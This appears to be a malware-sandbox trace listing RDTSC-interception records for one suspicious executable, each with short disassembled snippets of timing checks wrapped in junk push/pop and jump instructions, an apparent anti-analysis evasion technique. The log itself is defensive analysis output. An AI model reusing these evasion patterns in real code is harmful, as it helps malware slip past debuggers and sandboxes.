Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAC5D4 second address: EAC5D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAB9CA second address: EAB9D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8C24FD04C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EABC90 second address: EABC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EABC98 second address: EABCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C24FD04C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EABCA7 second address: EABCAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAED3D second address: EAED64 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8C24FD04D8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c ja 00007F8C24FD04C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAED64 second address: EAED90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F38Ah 0x00000009 jmp 00007F8C2504F397h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAED90 second address: EAEDAC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C24FD04D0h 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAEEF3 second address: EAEEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAEEF8 second address: EAEEFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAEEFE second address: EAEF02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAEF02 second address: EAEF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAEF0C second address: EAEF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF03D second address: EAF041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF041 second address: EAF05A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F395h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF05A second address: EAF0A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C24FD04D8h 0x00000008 jnc 00007F8C24FD04C6h 0x0000000e jbe 00007F8C24FD04C6h 0x00000014 jc 00007F8C24FD04C6h 0x0000001a popad 0x0000001b push edi 0x0000001c jnl 00007F8C24FD04C6h 0x00000022 jnp 00007F8C24FD04C6h 0x00000028 pop edi 0x00000029 pop edx 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push ecx 0x00000030 pop ecx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF0A0 second address: EAF0B4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C2504F386h 0x00000008 js 00007F8C2504F386h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF0B4 second address: EAF0CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8C24FD04D1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF39A second address: EAF3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF3A1 second address: EAF3B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF3B2 second address: EAF3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EAF3B7 second address: EAF3C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F8C24FD04C6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB738B second address: EB7391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB5D4F second address: EB5D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB5D57 second address: EB5D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB5FFF second address: EB6022 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8C24FD04D1h 0x0000000f jne 00007F8C24FD04CEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB6182 second address: EB6187 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: E5F8C7 second address: E5F8CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB66FA second address: EB6704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8C2504F386h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EB6704 second address: EB672A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8C24FD04C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F8C24FD04D7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBF916 second address: EBF939 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F399h 0x00000007 js 00007F8C2504F386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBF939 second address: EBF957 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8C24FD04C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ebx 0x00000012 ja 00007F8C24FD04CCh 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBF957 second address: EBF965 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C2504F388h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBF965 second address: EBF96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBF96B second address: EBF96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBD823 second address: EBD83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C24FD04D3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBD83B second address: EBD845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8C2504F386h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBD845 second address: EBD870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D5h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f js 00007F8C24FD04C6h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBDA0E second address: EBDA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F38Fh 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBDA21 second address: EBDA30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F8C24FD04C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBDD32 second address: EBDD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBDD36 second address: EBDD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F8C24FD04C6h 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBDD46 second address: EBDD63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8C2504F38Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBE01B second address: EBE021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBE5BD second address: EBE5E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C2504F390h 0x00000010 jmp 00007F8C2504F38Ch 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEEFF second address: EBEF32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8C24FD04D3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jp 00007F8C24FD04C6h 0x00000012 jmp 00007F8C24FD04D2h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEF32 second address: EBEF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEF38 second address: EBEF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C24FD04CDh 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEF49 second address: EBEF75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Bh 0x00000007 jmp 00007F8C2504F399h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEF75 second address: EBEF8A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C24FD04C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EBEF8A second address: EBEF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2B94 second address: EC2BA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007F8C24FD04C6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F8C24FD04C6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2BA8 second address: EC2BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8C2504F38Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F8C2504F393h 0x00000015 pop ecx 0x00000016 pushad 0x00000017 jnl 00007F8C2504F386h 0x0000001d push edx 0x0000001e pop edx 0x0000001f je 00007F8C2504F386h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2BE2 second address: EC2BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8C24FD04C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2BED second address: EC2C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C2504F386h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C2504F395h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2C11 second address: EC2C15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2EBF second address: EC2EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2EC7 second address: EC2ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC2ECD second address: EC2ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EC3624 second address: EC3638 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jg 00007F8C24FD04C6h 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECFF48 second address: ECFF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECFF4C second address: ECFF89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8C24FD04CCh 0x0000000c jmp 00007F8C24FD04D3h 0x00000011 jmp 00007F8C24FD04D6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE0F5 second address: ECE10B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE252 second address: ECE257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE257 second address: ECE263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C2504F386h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE263 second address: ECE26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE679 second address: ECE67D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE7D8 second address: ECE7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE7DE second address: ECE7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE967 second address: ECE999 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C24FD04ECh 0x00000008 jmp 00007F8C24FD04D7h 0x0000000d jmp 00007F8C24FD04CFh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE999 second address: ECE99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECE99F second address: ECE9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECEC2B second address: ECEC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECEC31 second address: ECEC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECEC35 second address: ECEC39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ECFDB5 second address: ECFDBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED3E40 second address: ED3E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F396h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED8D0E second address: ED8D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED8692 second address: ED86C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C2504F396h 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F8C2504F386h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 jo 00007F8C2504F386h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED8832 second address: ED8837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89A1 second address: ED89A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89A7 second address: ED89C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C24FD04D6h 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89C4 second address: ED89C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89C8 second address: ED89D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8C24FD04C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89D4 second address: ED89E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8C2504F386h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
